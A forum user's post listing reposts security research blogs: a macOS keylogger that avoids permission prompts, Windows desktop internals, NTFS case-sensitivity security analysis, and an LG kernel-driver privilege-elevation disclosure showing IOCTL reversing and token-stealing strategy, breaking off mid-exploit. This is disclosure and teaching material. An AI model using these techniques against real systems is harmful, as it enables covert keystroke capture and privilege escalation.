Jump to content

Nytro

Administrators
  • Posts

    18740
  • Joined

  • Last visited

  • Days Won

    711

Everything posted by Nytro

  1. Saturday, February 16, 2019 macOS - keylogging through HID device interface Just for fun I started to dig into how could I write a piece of software to detect rubber ducky style attacks on macOS. While I was reading through the IOKit API, and digging into the various functions and how everything works, I came across an API call, called IOHIDManagerRegisterInputValueCallback, which sounded very interesting although wasn’t related to what I was looking for. At first read it sounded that you can monitor USB device input. My first trials with the enumeration showed that the built in keyboard on a MacBook Pro is also connecting through the USB / IOHID interface. That made think if I could log keystrokes via this API call. At this point I got totally distracted from my original goal, but I will get back to that later Looking up the function on Apple’s website confirmed my suspicion, it says: IOHIDManagerRegisterInputValueCallback Registers a callback to be used when an input value is issued by any enumerated device. Nice! Since I’m still a complete n00b to either Swift and Objective-C I tried to lookup on Google if someone wrote a key logger such this, and basically I found a good code here: macos - How to tap/hook keyboard events in OSX and record which keyboard fires each event - Stack Overflow This is very well written and you can use it as is, although it doesn’t resolve scan code to actual keys. The mapping is available in one of the header files: MacOSX-SDKs/IOHIDUsageTables.h at master · phracker/MacOSX-SDKs · GitHub With this I extended the code to use this mapping, and also write output to a file, and it works pretty nicely. I uploaded it here: https://github.com/theevilbit/macos/tree/master/USBKeyLog Then a googled a bit more, and came across this code, which is very-very nice, and does it way-way better then my: GitHub - SkrewEverything/Swift-Keylogger: Keylogger for mac written in Swift using HID Hacking: Keylogger for macOS. *No permissions needed to run* The benefit of this method over the one that uses CGEventTap (common used in malware) is: you don’t need root privileges runs even on Mojave without asking for Accessibility permissions not (yet??) detected by ReiKey The CGEventTap method is very deeply covered in Patrick Wardle's excellent videos Patrick Wardle - YouTube and the code is available in his GitHub repo GitHub - objective-see/sniffMK: sniff mouse and keyboard events Posted by Csaba Fitzl at 11:10 PM Sursa: https://theevilbit.blogspot.com/2019/02/macos-keylogging-through-hid-device.html
  2. Windows 10 Desktops vs. Sysinternals Desktops One of the new Windows 10 features visible to users is the support for additional “Desktops”. It’s now possible to create additional surfaces on which windows can be used. This idea is not new – it has been around in the Linux world for many years (e.g. KDE, Gnome), where users have 4 virtual desktops they can use. The idea is that to prevent clutter, one desktop can be used for web browsing, for example, and another desktop can be used for all dev work, and yet a third desktop could be used for all social / work apps (outlook, WhatsApp, Facebook, whatever). To create an additional virtual desktop on Windows 10, click on the Task View button on the task bar, and then click the “New Desktop” button marked with a plus sign. Now you can switch between desktops by clicking the appropriate desktop button and then launch apps as usual. It’s even possible (by clicking Task View again) to move windows from desktop to desktop, or to request that a window be visible on all desktops. The Sysinternals tools had a tool called “Desktops” for many years now. It too allows for creation of up to 4 desktops where applications can be launched. The question is – is this Desktops tool the same as the Windows 10 virtual desktops feature? Not quite. First, some background information. In the kernel object hierarchy under a session object, there are window stations, desktops and other objects. Here’s a diagram summarizing this tree-like relationship: As can be seen in the diagram, a session contains a set of Window Stations. One window station can be interactive, meaning it can receive user input, and is always called winsta0. If there are other window stations, they are non-interactive. Each window station contains a set of desktops. Each of these desktops can hold windows. So at any given moment, an interactive user can interact with a single desktop under winsta0. Upon logging in, a desktop called “Default” is created and this is where all the normal windows appear. If you click Ctrl+Alt+Del for example, you’ll be transferred to another desktop, called “Winlogon”, that was created by the winlogon process. That’s why your normal windows “disappear” – you have been switched to another desktop where different windows may exist. This switching is done by a documented function – SwitchDesktop. And here lies the difference between the Windows 10 virtual desktops and the Sysinternals desktops tool. The desktops tool actually creates desktop objects using the CreateDesktop API. In that desktop, it launches Explorer.exe so that a taskbar is created on that desktop – initially the desktop has nothing on it. How can desktops launch a process that by default creates windows in a different desktop? This is possible to do with the normal CreateProcess function by specifying the desktop name in the STARTUPINFO structure’s lpDesktop member. The format is “windowstation\desktop”. So in the desktops tool case, that’s something like “winsta0\Sysinternals Desktop 1”. How do I know the name of the Sysinternals desktop objects? Desktops can be enumerated with the EnumDesktops API. I’ve written a small tool, that enumerates window stations and desktops in the current session. Here’s a sample output when one additional desktop has been created with “desktops”: In the Windows 10 virtual desktops feature, no new desktops are ever created. Win32k.sys just manipulates the visibility of windows and that’s it. Can you guess why? Why doesn’t Window 10 use the CreateDesktop/SwitchDesktop APIs for its virtual desktop feature? The reason has to do with some limitations that exist on desktop objects. For one, a window (technically a thread) that is bound to a desktop cannot be switched to another; in other words, there is no way to transfer a windows from one desktop to another. This is intentional, because desktops provide some protection. For example, hooks set with SetWindowsHookEx can only be set on the current desktop, so cannot affect other windows in other desktops. The Winlogon desktop, as another example, has a strict security descriptor that prevents non system-level users from accessing that desktop. Otherwise, that desktop could have been tampered with. The virtual desktops in Windows 10 is not intended for security purposes, but for flexibility and convenience (security always “contradicts” convenience). That’s why it’s possible to move windows between desktops, because there is no real “moving” going on at all. From the kernel’s perspective, everything is still on the same “Default” desktop. Sursa: https://scorpiosoftware.net/2019/02/17/windows-10-desktops-vs-sysinternals-desktops/
  3. Sunday, 17 February 2019 NTFS Case Sensitivity on Windows Back in February 2018 Microsoft released on interesting blog post (link) which introduced per-directory case-sensitive NTFS support. MS have been working on making support for WSL more robust and interop between the Linux and Windows side of things started off a bit rocky. Of special concern was the different semantics between traditional Unix-like file systems and Windows NTFS. I always keep an eye out for new Windows features which might have security implications and per-directory case sensitivity certainly caught my attention. With 1903 not too far off I thought it was time I actual did a short blog post about per-directory case-sensitivity and mull over some of the security implications. While I'm at it why not go on a whistle-stop tour of case sensitivity in Windows NT over the years. Disclaimer. I don't currently and have never previously worked for Microsoft so much of what I'm going to discuss is informed speculation. The Early Years The Windows NT operating system has had the ability to have case-sensitive files since the very first version. This is because of the OS's well known, but little used, POSIX subsystem. If you look at the documentation for CreateFile you'll notice a flag, FILE_FLAG_POSIX_SEMANTICS which is used for the following purposes: "Access will occur according to POSIX rules. This includes allowing multiple files with names, differing only in case, for file systems that support that naming." It's make sense therefore that all you'd need to do to get a case-sensitive file system is use this flag exclusively. Of course being an optional flag it's unlikely that the majority of Windows software will use it correctly. You might wonder what the flag is actually doing, as CreateFile is not a system call. If we dig into the code inside KERNEL32 we'll find the following: BOOL CreateFileInternal(LPCWSTR lpFileName, ..., DWORD dwFlagsAndAttributes) { // ... OBJECT_ATTRIBUTES ObjectAttributes; if (dwFlagsAndAttributes & FILE_FLAG_POSIX_SEMANTICS){ ObjectAttributes.Attributes = 0; } else { ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; } NtCreateFile(..., &ObjectAttributes, ...); } This code shows that if the FILE_FLAG_POSIX_SEMANTICS flag is set, the the Attributes member of the OBJECT_ATTRIBUTES structure passed to NtCreateFile is initialized to 0. Otherwise it's initialized with the flag OBJ_CASE_INSENSITIVE. The OBJ_CASE_INSENSITIVE instructs the Object Manager to do a case-insensitive lookup for a named kernel object. However files do not directly get parsed by the Object Manager, so the IO manager converts this flag to the IO_STACK_LOCATION flag SL_CASE_SENSITIVE before handing it off to the file system driver in an IRP_MJ_CREATE IRP. The file system driver can then honour that flag or not, in the case of NTFS it honours it and performs a case-sensitive file search instead of the default case-insensitive search. Aside. Specifying FILE_FLAG_POSIX_SEMANTICS supports one other additional feature of CreateFile that I can see. By specifying FILE_FLAG_BACKUP_SEMANTICS, FILE_FLAG_POSIX_SEMANTICS and FILE_ATTRIBUTE_DIRECTORY in the dwFlagsAndAttributes parameter and CREATE_NEW as the dwCreationDisposition parameter the API will create a new directory and return a handle to it. This would normally require calling CreateDirectory, then a second call to open or using the native NtCreateFile system call. NTFS always supported case-preserving operations, so creating the file AbC.txt will leave the case intact. However when it does an initial check to make sure the file doesn't already exist if you request abc.TXT then NTFS would find it during a case-insensitive search. If the create is done case-sensitive then NTFS won't find the file and you can now create the second file. This allows NTFS to support full case-sensitivity. It seems too simple to create files in a case-sensitive manner, just use the FILE_FLAG_POSIX_SEMANTICS flag or don't pass OBJ_CASE_INSENSITIVE to NtCreateFile. Let's try that using PowerShell on a default installation on Windows 10 1809 to see if that's really the case. First we create a file with the name AbC.txt, as NTFS is case preserving this will be the name assigned to it in the file system. We then open the file first with the OBJ_CASE_INSENSITIVE attribute flag set and specifying the name all in lowercase. As expected we open the file and displaying the name shows the case-preserved form. Next we do the same operation without the OBJ_CASE_INSENSITIVE flag, however unexpectedly it still works. It seems the kernel is just ignoring the missing flag and doing the open case-insensitive. It turns out this is by design, as case-insensitive operation is defined as opt-in no one would ever correctly set the flag and the whole edifice of the Windows subsystem would probably quickly fall apart. Therefore honouring enabling support for case-sensitive operation is behind a Session Manager Kernel Registry value, ObCaseInsensitive. This registry value is reflected in the global kernel variable, ObpCaseInsensitive which is set to TRUE by default. There's only one place this variable is used, ObpLookupObjectName, which looks like the following: NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes, ...) { // ... DWORD Attributes = ObjectAttributes->Attributes; if (ObpCaseInsensitive) { Attributes |= OBJ_CASE_INSENSITIVE; } // Continue lookup. } From this code we can see if ObpCaseInsensitive set to TRUE then regardless of the Attribute flags passed to the lookup operation OBJ_CASE_INSENSITIVE is always set. What this means is no matter what you do you can't perform a case-sensitive lookup operation on a default install of Windows. Of course if you installed the POSIX subsystem you'll typically find the kernel variable set to FALSE which would enable case-sensitive operation for everyone, at least if they forget to set the flags. Let's try the same test again with PowerShell but make sure ObpCaseInsensitive is FALSE to see if we now get the expected operation. With the OBJ_CASE_INSENSITIVE flag set we can still open the file AbC.txt with the lower case name. However without specifying the flag we we get STATUS_OBJECT_NAME_NOT_FOUND which indicates the lookup operation failed. Windows Subsystem for Linux Let's fast forward to the introduction of WSL in Windows 10 1607. WSL needed some way of representing a typical case-sensitive Linux file system. In theory the developers could have implemented it on top of a case-insensitive file system but that'd likely introduce too many compatibility issues. However just disabling ObCaseInsensitive globally would likely introduce their own set of compatibility issues on the Windows side. A compromise was needed to support case-sensitive files on an existing volume. Aside. It could be argued that Unix-like operating systems (including Linux) don't have a case-sensitive file system at all, but a case-blind file system. Most Unix-like file systems just treat file names on disk as strings of opaque bytes, either the file name matches a sequence of bytes or it doesn't. The file system doesn't really care whether any particular byte is a lower or upper case character. This of course leads to interesting problems such as where two file names which look identical to a user can have different byte representations resulting in unexpected failures to open files. Some file systems such macOS's HFS+ use Unicode Normalization Forms to make file names have a canonical byte representation to make this easier but leads to massive additional complexity, and was infamously removed in the successor APFS. UPDATE: It's been pointed out that Apple actually reversed the APFS change in iOS 11/macOS 10.13. This compromise can be found back in ObpLookupObjectName as shown below: NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes, ...) { // ... DWORD Attributes = ObjectAttributes->Attributes; if (ObpCaseInsensitive && KeGetCurrentThread()->CrossThreadFlags.ExplicitCaseSensitivity == FALSE) { Attributes |= OBJ_CASE_INSENSITIVE; } // Continue lookup. } In the code we now find that the existing check for ObpCaseInsensitive is augmented with an additional check on the current thread's CrossThreadFlags for the ExplicitCaseSensitivity bit flag. Only if the flag is not set will case-insensitive lookup be forced. This looks like a quick hack to get case-sensitive files without having to change the global behavior. We can find the code which sets this flag in NtSetInformationThread. NTSTATUS NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength) { switch(ThreadInformationClass) { case ThreadExplicitCaseSensitivity: if (ThreadInformationLength != sizeof(DWORD)) return STATUS_INFO_LENGTH_MISMATCH; DWORD value = *((DWORD*)ThreadInformation); if (value) { if (!SeSinglePrivilegeCheck(SeDebugPrivilege, PreviousMode)) return STATUS_PRIVILEGE_NOT_HELD; if (!RtlTestProtectedAccess(Process, 0x51) ) return STATUS_ACCESS_DENIED; } if (value) Thread->CrossThreadFlags.ExplicitCaseSensitivity = TRUE; else Thread->CrossThreadFlags.ExplicitCaseSensitivity = FALSE; break; } // ... } Notice in the code to set the the ExplicitCaseSensitivity flag we need to have both SeDebugPrivilege and be a protected process at level 0x51 which is PPL at Windows signing level. This code is from Windows 10 1809, I'm not sure it was this restrictive previously. However for the purposes of WSL it doesn't matter as all processes are gated by a system service and kernel driver so these checks can be easily bypassed. As any new thread for a WSL process must go via the Pico process driver this flag could be automatically set and everything would just work. Per-Directory Case-Sensitivity A per-thread opt-out from case-insensitivity solved the immediate problem, allowing WSL to create case-sensitive files on an existing volume, but it didn't help Windows applications inter-operating with files created by WSL. I'm guessing NTFS makes no guarantees on what file will get opened if performing a case-insensitive lookup when there's multiple files with the same name but with different case. A Windows application could easily get into difficultly trying to open a file and always getting the wrong one. Further work was clearly needed, so introduced in 1803 was the topic at the start of this blog, Per-Directory Case Sensitivity. The NTFS driver already handled the case-sensitive lookup operation, therefore why not move the responsibility to enable case sensitive operation to NTFS? There's plenty of spare capacity for a simple bit flag. The blog post I reference at the start suggests using the fsutil command to set case-sensitivity, however of course I want to know how it's done under the hood so I put fsutil from a Windows Insider build into IDA to find out what it was doing. Fortunately changing case-sensitivity is now documented. You pass the FILE_CASE_SENSITIVE_INFORMATION structure with the FILE_CS_FLAG_CASE_SENSITIVE_DIR set via NtSetInformationFile to a directory. with the FileCaseSensitiveInformation information class. We can see the implementation for this in the NTFS driver. NTSTATUS NtfsSetCaseSensitiveInfo(PIRP Irp, PNTFS_FILE_OBJECT FileObject) { if (FileObject->Type != FILE_DIRECTORY) { return STATUS_INVALID_PARAMETER; } NSTATUS status = NtfsCaseSensitiveInfoAccessCheck(Irp, FileObject); if (NT_ERROR(status)) return status; PFILE_CASE_SENSITIVE_INFORMATION info = (PFILE_CASE_SENSITIVE_INFORMATION)Irp->AssociatedIrp.SystemBuffer; if (info->Flags & FILE_CS_FLAG_CASE_SENSITIVE_DIR) { if ((g_NtfsEnableDirCaseSensitivity & 1) == 0) return STATUS_NOT_SUPPORTED; if ((g_NtfsEnableDirCaseSensitivity & 2) && !NtfsIsFileDeleteable(FileObject)) { return STATUS_DIRECTORY_NOT_EMPTY; } FileObject->Flags |= 0x400; } else { if (NtfsDoesDirHaveCaseDifferingNames(FileObject)) { return STATUS_CASE_DIFFERING_NAMES_IN_DIR; } FileObject->Flags &= ~0x400; } return STATUS_SUCCESS; } There's a bit to unpack here. Firstly you can only apply this to a directory, which makes some sense based on the description of the feature. You also need to pass an access check with the call NtfsCaseSensitiveInfoAccessCheck. We'll skip over that for a second. Next we go into the actual setting or unsetting of the flag. Support for Per-Directory Case-Sensitivity is not enabled unless bit 0 is set in the global g_NtfsEnableDirCaseSensitivity variable. This value is loaded from the value NtfsEnableDirCaseSensitivity in HKLM\SYSTEM\CurrentControlSet\Control\FileSystem, the value is set to 0 by default. This means that this feature is not available on a fresh install of Windows 10, almost certainly this value is set when WSL is installed, but I've also found it on the Microsoft app-development VM which I don't believe has WSL installed, so you might find it enabled in unexpected places. The g_NtfsEnableDirCaseSensitivity variable can also have bit 1 set, which indicates that the directory must be empty before changing the case-sensitivity flag (checked with NtfsIsFileDeleteable) however I've not seen that enabled. If those checks pass then the flag 0x400 is set in the NTFS file object. If the flag is being unset the only check made is whether the directory contains any existing colliding file names. This seems to have been added recently as when I originally tested this feature in an Insider Preview you could disable the flag with conflicting filenames which isn't necessarily sensible behavior. Going back to the access check, the code for NtfsCaseSensitiveInfoAccessCheck looks like the following: NTSTATUS NtfsCaseSensitiveInfoAccessCheck(PIRP Irp, PNTFS_FILE_OBJECT FileObject) { if (NtfsEffectiveMode(Irp) || FileObject->Access & FILE_WRITE_ATTRIBUTES) { PSECURITY_DESCRIPTOR SecurityDescriptor; SECURITY_SUBJECT_CONTEXT SubjectContext; SeCaptureSubjectContext(&SubjectContext); NtfsLoadSecurityDescriptor(FileObject, &SecurityDescriptor); if (SeAccessCheck(SecurityDescriptor, &SubjectContext FILE_ADD_FILE | FILE_ADD_SUBDIRECTORY | FILE_DELETE_CHILD)) { return STATUS_SUCCESS; } } return STATUS_ACCESS_DENIED; } The first check ensures the file handle is opened with FILE_WRITE_ATTRIBUTES access, however that isn't sufficient to enable the flag. The check also ensures that if an access check is performed on the directory's security descriptor that the caller would be granted FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY and FILE_DELETE_CHILD access rights. Presumably this secondary check is to prevent situations where a file handle was shared to another process with less privileges but with FILE_WRITE_ATTRIBUTES rights. If the security check is passed and the feature is enabled you can now change the case-sensitivity behavior, and it's even honored by arbitrary Windows applications such as PowerShell or notepad without any changes. Also note that the case-sensitivity flag is inherited by any new directory created under the original. Security Implications of Per-Directory Case-Sensitivity Let's get on to the thing which interests me most, what's the security implications on this feature? You might not immediately see a problem with this behavior. What it does do is subvert the expectations of normal Windows applications when it comes to the behavior of file name lookup with no way of of detecting its use or mitigating against it. At least with the FILE_FLAG_POSIX_SEMANTICS flag you were only introducing unexpected case-sensitivity if you opted in, but this feature means the NTFS driver doesn't pay any attention to the state of OBJ_CASE_INSENSITIVE when making its lookup decisions. That's great from an interop perspective, but less great from a correctness perspective. Some of the use cases I could see this being are problem are as follows: TOCTOU where the file name used to open a file has its case modified between a security check and the final operation resulting in the check opening a different file to the final one. Overriding file lookup in a shared location if the create request's case doesn't match the actual case of the file on disk. This would be mitigated if the flag to disable setting case-sensitivity on empty directories was enabled by default. Directory tee'ing, where you replace lookup of an earlier directory in a path based on the state of the case-sensitive flag. This at least is partially mitigated by the check for conflicting file names in a directory, however I've no idea how robust that is. I found it interesting that this feature also doesn't use RtlIsSandboxToken to check the caller's not in a sandbox. As long as you meet the access check requirements it looks like you can do this from an AppContainer, but its possible I missed something. On the plus side this feature isn't enabled by default, but I could imagine it getting set accidentally through enterprise imaging or some future application decides it must be on, such as Visual Studio. It's a lot better from a security perspective to not turn on case-sensitivity globally. Also despite my initial interest I've yet to actual find a good use for this behavior, but IMO it's only a matter of time Posted by tiraniddo at 15:30 Sursa: https://tyranidslair.blogspot.com/2019/02/ntfs-case-sensitivity-on-windows.html
  4. CVE-2019-8372: Local Privilege Elevation in LG Kernel Driver Sun 17 February 2019 TL;DR: CVE for driver-based LPE with an in-depth tutorial on discovery to root and details on two new tools. At the end of this, we'll better understand how to select worthwhile targets for driver vulnerability research, analyze them for vulnerabilities, and learn an exploitation technique for elevating privileges. If this sounds like your cup of tea, then grab it and start sipping. Part 1: Vulnerability Details Part 2: Discovery Walkthrough Part 3: Exploitation Walkthrough Vulnerability Summary The LHA kernel-mode driver (lha.sys/lha32.sys, v1.1.1703.1700) is associated with the LG Device Manager system service. The service loads the driver if it detects that the Product Name in the BIOS has one of the following substrings: T350, 10T370, 15U560, 15UD560, 14Z960, 14ZD960, 15Z960, 15ZD960, or Skylake Platform. This probably indicates that the driver loads with those associated models which happen to have the 6th-gen Intel Core processors (Skylake). This driver is used for Low-level Hardware Access (LHA) and includes IOCTL dispatch functions that can be used to read and write to arbitrary physical memory. When it is loaded, the device created by the driver is accessible to non-administrative users which could allow them to leverage those functions to elevate privileges. As shown in the screen recording below, these functions were leveraged to elevate privileges from a standard account by searching physical memory for the EPROCESS security token of the System process and writing it into the EPROCESS structure for the PowerShell process. The suggested remediation was to replace the IoCreateDevice call in the driver with IoCreateDeviceSecure. This works as a perimeter defence by specifying an SDDL string such that only processes running in the context of SYSTEM will be allowed to create a handle. Considering that Device Manager service executes in that context, this should not interfere with its ability to load and use the driver. Disclosure Timeline 2018-11-11: Discovered vulnerability. 2018-11-14: Developed baseline proof-of-concept for Windows 7 x64. 2018-11-17: Refactored exploit for robustness, readability, and compatibility with Windows 10 x64. 2018-11-18: Disclosed vulnerability to LG PSRT and received confirmation of submission. 2018-11-21: Received acknowledgement that they intend to fix the vulnerability ASAP. 2018-11-26: Received request to validate remediation on a updated version of the driver. 2018-11-27: Driver was validated and proposed remediation was implemented correctly. 2019-02-13: Received confirmation that a patch is being released. The LG PSRT team was responsive and cooperative. It only took them a week to develop an update for review, and that's not always easy to do in similar organizations. I would work with them again should the opportunity arise. Technical Walkthrough The remainder of this post is written as an end-to-end tutorial that goes over how the vulnerability was found, the exploit development process, and some other musings. I wanted to write this in a way to make it somewhat more accessible to folks who are already familiar with reversing on Windows but new to driver vulnerability research. At the bottom, I have a section for related resources and write-ups that I found useful. Feel free to ping me if there's anything that requires further elaboration. Vulnerability Discovery Finding vulnerabilities in an OEM or enterprise master image can be useful from an offensive perspective because of the potential blast radius that comes with a wide deployment. The goals can typically involve finding a combination of remote code execution (RCE), local privilege elevation (LPE), and sensitive data exposure. Check out my previous post for a methodology intro. When it comes to software bugs that lead to LPE, you can look for customizations introduced into the master image such as system services and kernel-mode drivers which run in a privileged context and may not receive as much scrutiny. For more information on the different avenues for LPE, there's an informative talk by Teymur Kheirkhabarov worth checking out. In the big picture, finding LPE should be chained with an RCE vector, and the LPE may not be as necessary if the target user is already an administrator as they are on most consumer PCs. When it came to this vulnerable driver, I started by looking at a list of loaded drivers using tools like DriverView and driverquery to find any unique LG-made or third-party drivers that may not receive as much scrutiny as a result of their scarcity. I found it peculiar that the LHA driver would load from Program Files instead of C:\Windows\system32\drivers. It was in the directory for LG Device Manager, so it was worth analyzing those binaries to see how they interact with the driver. This can give context into how the driver is loaded and how user-mode programs can interact with it. The latter can be especially useful for getting more semantic context into what would otherwise be the disorienting array of disassembly you would see in IDA. On the topic of semantic context, some online searches indicate that the acronym in LHA.sys refers to "Low-level Hardware Access". This type of driver allows system services developed by OEMs to trigger system management interrupts (SMIs) as well as read and write physical memory and model-specfic registers (MSRs)—all of which are privileged actions that can only occur in kernel-mode. Vulnerabilities were also found in similar drivers made by ASUS (@gsuberland and @slipstream), MSI (@ReWolf), and Dell (@hatRiot). Alex Matrosov also describes the "dual-use" nature of these drivers in rootkit development. As what we're about to embark on is not particularly novel, we have a defined path ahead of us in terms of what to expect. At this point we should determine: The constraints under which the driver is loaded (e.g. when and how), Whether low-privileged processes (LPPs) can interact with it, and if so, Whether it exposes any functionality that can be abused toward LPE. The DeviceManager.exe binary appears to be a .NET assembly, so let's take a closer look with dnSpy, a .NET decompiler and debugger. You can follow along by downloading the Device Manager installer. We can see that there's a driverInitialize method that installs and loads the driver. The command line equivalent of doing the same is below. Mind the space after binPath= and type=. λ sc create LHA.sys binpath= "C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys" type= kernel [SC] CreateService SUCCESS λ sc start LHA.sys SERVICE_NAME: LHA.sys TYPE : 1 KERNEL_DRIVER STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 PID : 0 FLAGS : This answers how the driver is loaded, so let's figure out when. You can select the method name in dnSpy and hit Ctrl+Shift+R to analyze call flows. We'll want to analyze calls that start from the service's OnStart method and flow toward the driverInitialize method. The OnStart method first determines the model of the unit, and from there calls OnStartForXXXXXX functions that are specific to the current model. A subset of those model-specific functions will then eventually call driverInitialize. The ResumeTimer_Elapsed method which is called from a number of model-specific functions is associated with a Timer object which means it doesn't get executed immediately (e.g. 20s to 120s after depending on the model). Although it looks like this driver is loaded on a subset of models, it's still worth checking for any avenues where user-influenced input can expand the blast radius. Perhaps if we can trick the onStart method into thinking the current model is actually one from the subset (e.g. 15Z960 instead of 15Z980), then we can have the execution flow toward the branches that will eventually call driverInitialize. It turns out that it sources the model number from HKLM\HARDWARE\DESCRIPTION\System\BIOS. As this is in the HKEY_LOCAL_MACHINE registry hive, an LPP would not be able to modify contents. If that was possible, then we could stop here because there would be plenty of easier ways to gain LPE. We now know that the driver loads when the service identifies the unit's model from a whitelist and that it doesn't load immediately after the service starts. Now let's figure out how LPPs can interact with it. Not every driver provides a path toward LPE, and some initial recon will be helpful in determining if it's worth investigating further. In order for low-privileged users to interact with a driver, the following conditions must be satisfied: The driver must be loaded and create a device object. The device object must have a symbolic link associated with it. The DACL of the device object must be configured so that non-admins can R/W. The Driver Initial Reconnaissance Tool, DIRT, helps with identifying those candidates with the --lp-only switch. As we can see below, the LHA driver is loaded and one device object is created. The device is accessible by LPPs because it has an open DACL and a symbolic link (\\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}). It also has a registered DispatchDeviceControl function which may indicate that it has defined IOCTL dispatch functions that can be called from user-mode via DeviceIoControl. λ dirt.exe --no-msft --lp-only DIRT v0.1.1: Driver Initial Reconnaisance Tool (@Jackson_T) Repository: https://github.com/jthuraisamy/DIRT Compiled on: Aug 25 2018 19:25:11 INFO: Hiding Microsoft drivers (--no-msft). INFO: Only showing drivers that low-privileged users can interface with (--lp-only). lha.sys: lha.sys (LG Electronics Inc.) Path: C:\Program Files (x86)\LG Software\LG Device Manager\lha.sys DispatchDeviceControl: 0xFFFFF8012E9C32E0 Devices: 1 └── \Device\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} (open DACL, 1 symlinks) └── \\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} DeviceIoControl is one way of interacting with the driver, and other ways include ReadFile and WriteFile. In order for a driver to receive DeviceIoControl request from a user-mode program, it has to define a DispatchDeviceControl function and register its entry point in the IRP_MJ_DEVICE_CONTROL index for its MajorFunction dispatch table. We can run WinDbg or WinObjEx64 (as an administrator) to see which functions are registered by selecting the driver and viewing its properties: This is how it works for the Windows Driver Model (WDM). There is also the Kernel Mode Driver Framework (KMDF) which is seen as the more streamlined successor to WDM, and the Windows Display Driver Model (WDDM) for graphics drivers. Check out the resources at the bottom of this page to get familiar with them. Let's dig deeper into the DispatchDeviceControl function with IDA Freeware. In the functions window, you should be able to type the last three digits of the address DIRT identified for that function (2E0) and the resulting list will be considerably shorter. You'll know you're probably in the right function when you see many branches representing a jump table like the one below. From here we can navigate through the branches to identify each IOCTL and what it does. If you have a license for the Hex-Rays decompiler, it makes it much easier (by computing some of the IOCTL codes for you, appropriately naming variables and constants passed into Windows APIs, etc.). It will never be completely accurate, but I prefer to operate at the right level of abstraction (even if it's an approximation) and only go deeper into the weeds of disassembly when it's necessary. Let's take an in-depth look into the dispatch function that can read arbitrary memory (IOCTL 0x9C402FD8). The annotated disassembly is below as well as a pseudocode translation. After we review this function, you should identify and take a look into the function that can write arbitrary memory as an exercise. (This assumes you have some familiarity with reading disassembly, calling conventions, etc.) We can infer the variable names from their usage and the struct for the input buffer in the pseudocode can also be inferred through the dereferences of var_InputBuffer_Copy1 and var_InputBuffer_Copy2. The function first performs validation checks on the lengths provided in DeviceIoControl to ensure that the input buffer length meets a minimum of 12 bytes, and that the output buffer length is equal to or greater then the length specified in the request struct. If those checks pass, then the specified physical memory range is mapped to nonpaged system space using MmMapIoSpace and that range is looped through to copy each byte into the user buffer. When the loop is complete, the physical memory is unmapped using MmUnmapIoSpace and the function epilogue is reached. typedef struct { DWORDLONG address; DWORD length; } REQUEST; NTSTATUS function ReadPhysicalMemory(REQUEST* inBuffer, DWORD inLength, DWORD outLength, PBYTE outBuffer) { NTSTATUS statusCode = 0; if ((inLength >= 12) && (outLength >= *inBuffer.length)) { PVOID mappedMemory = MmMapIoSpace(*inBuffer.address, *inBuffer.length, MmNonCached); for (int i = 0; i < *inBuffer.length; i++) outBuffer[i] = mappedMemory[i]; MmUnmapIoSpace(*inBuffer.address, *inBuffer.length); } else { DbgPrint("LHA: ReadMemBlockQw Failed\n"); statusCode = STATUS_BUFFER_TOO_SMALL; } return statusCode; } To recap, our assumed constraints for the IOCTL dispatch function for reading physical memory are: The input buffer is a struct that contains the physical address to start reading from and the number of bytes to read. The size of the input buffer must be at least 12 bytes (8 byte QWORD for address + 4 byte DWORD for length). The size of the output buffer must be at least the length specified in the input struct. We can dynamically test our assumptions about this dispatch function using a tool called ioctlpus. This makes DeviceIoControl requests with arbitrary inputs and has an interface similar to Burp Repeater. I wrote it primarily for this use case: to validate my assumptions after I've taken the time to statically understand what a particular IOCTL dispatch function requires and returns. Although it's a little clunky, it's a time-saver from the tedious task of making minor code changes then recompiling every time I want to poke around a particular IOCTL function. Let's run it as a non-administrative user, and send a read request to it where we read 0xFFFF bytes at offset 0x10000000: Set the path to what DIRT identified: \\.\Global\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}. Set the IOCTL code to: 9C402FD8. Set the input size to: C (12 bytes in hexadecimal). Set the output size to: FFFF (65535 bytes in hexadecimal). Set the input buffer at offset 0, the address parameter in struct, to 00 00 00 01 00 00 00 00 (little-endian). Set the input buffer at offset 8, the length parameter, to FF FF 00 00 (little-endian). Click on the "Send" button. Success! It may not look like much, but in this discovery process we've confirmed: The conditions under which the driver loads, That it is indeed accessible from LPPs when loaded, and lastly, That it contains some vulnerable functions (e.g. reading and writing arbitrary physical memory) But wait, there's more! Exploit Development With these read and write primitives, we can figure out a strategy to get LPE. With access to kernel memory, we can perform a "token stealing" attack (more like token copying 🤷‍). For each process, the kernel defines an EPROCESS structure that serves as the process object. Every structure contains a security token, and the goal is to replace the token of an LPP with one of a process running as SYSTEM. There are a couple caveats to this: First, the typical strategy around token stealing relies on virtual memory addresses which we cannot dereference with our primitives. Instead, we can take a needle-in-haystack approach and find byte buffers in physical memory we know should be associated with that structure. Second, the EPROCESS structure is opaque and can be prone to changing between versions of Windows. This is something to be mindful of when calculating offsets. Petr Beneš' NtDiff tool can be helpful in determining these offset changes between versions. We're going to deep dive into the exploit code in the order it was developed. Before we do that, let's first review the diagram below to get an overview of the execution flow: We first want to create a handle to the device created by the driver so we can interact with it. After that, we want to identify our parent process so that we can elevate it. For example, if we launched PowerShell, then ran the exploit, this would result in all subsequent commands being executed as SYSTEM. Once we've identified the parent process, we'll construct our "needles" for the EPROCESS structures and find them in the physical memory "haystack". After identifying both structures, we'll copy the token from the System EPROCESS structure into the one for PowerShell, and Bob's your uncle. Keep in mind that this is just one strategy, and when you get into the details you'll notice it may not be the most reliable or accurate. ReWolf and hatRiot had different approaches for their exploits that are also worth checking out. Step 1: Interfacing with the LHA Driver Three functions are defined to interface with the driver. get_device_handle is used to create a handle to the device using CreateFile, in the same way you would create a handle to 